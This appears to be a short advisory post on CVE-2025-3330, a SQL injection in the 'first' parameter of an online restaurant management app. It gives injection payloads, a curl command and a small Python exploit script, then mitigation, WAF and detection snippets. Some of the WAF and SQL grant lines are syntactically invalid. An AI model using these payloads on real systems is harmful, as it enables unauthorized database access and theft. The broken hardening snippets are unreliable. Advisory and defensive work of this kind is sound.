Listen to this Post
How CVE-2025-3330 Works
The vulnerability exists in `/reservation_save.php` due to improper sanitization of the `first` parameter, allowing attackers to inject malicious SQL queries. The application constructs dynamic SQL queries by directly concatenating user-supplied input (first
) without validation. This enables attackers to manipulate database operations via crafted payloads like ' OR 1=1--
, leading to unauthorized data access, modification, or deletion. The flaw is remotely exploitable with no authentication required (CVSS:4.0 AV:N/AC:L/PR:N).
DailyCVE Form
Platform: Online Restaurant Management
Version: 1.0
Vulnerability: SQL Injection
Severity: Critical
Date: 04/07/2025
What Undercode Say:
Exploitation
1. Payload Example:
' UNION SELECT username, password FROM users--
2. Curl Command:
curl -X POST "http://target.com/reservation_save.php" -d "first=' OR 1=1--"
3. Automated Exploit (Python):
import requests url = "http://target.com/reservation_save.php" payload = {"first": "' UNION SELECT 1,@@version--"} response = requests.post(url, data=payload) print(response.text)
Mitigation
1. Patch: Apply input validation and parameterized queries:
$stmt = $conn->prepare("INSERT INTO reservations (first) VALUES (?)"); $stmt->bind_param("s", $_POST['first']);
2. WAF Rules:
location ~ reservation_save.php { deny '|union|select|from|where|--'; }
3. Database Hardening:
REVOKE ALL PRIVILEGES ON . FROM 'app_user'@'%'; GRANT SELECT ONLY ON restaurant_db. TO 'app_user'@'%';
Detection
1. Log Analysis:
grep -E "union|select|--" /var/log/apache2/access.log
2. IDS Signature:
alert http any any -> any any (msg:"SQLi Attempt"; content:"' OR 1=1"; sid:1000001;)
References
- CVE Link: NVD
- Patch: Vendor advisory ORM-2025-001
References:
Reported By: https://nvd.nist.gov/vuln/detail/CVE-2025-3330
Extra Source Hub:
Undercode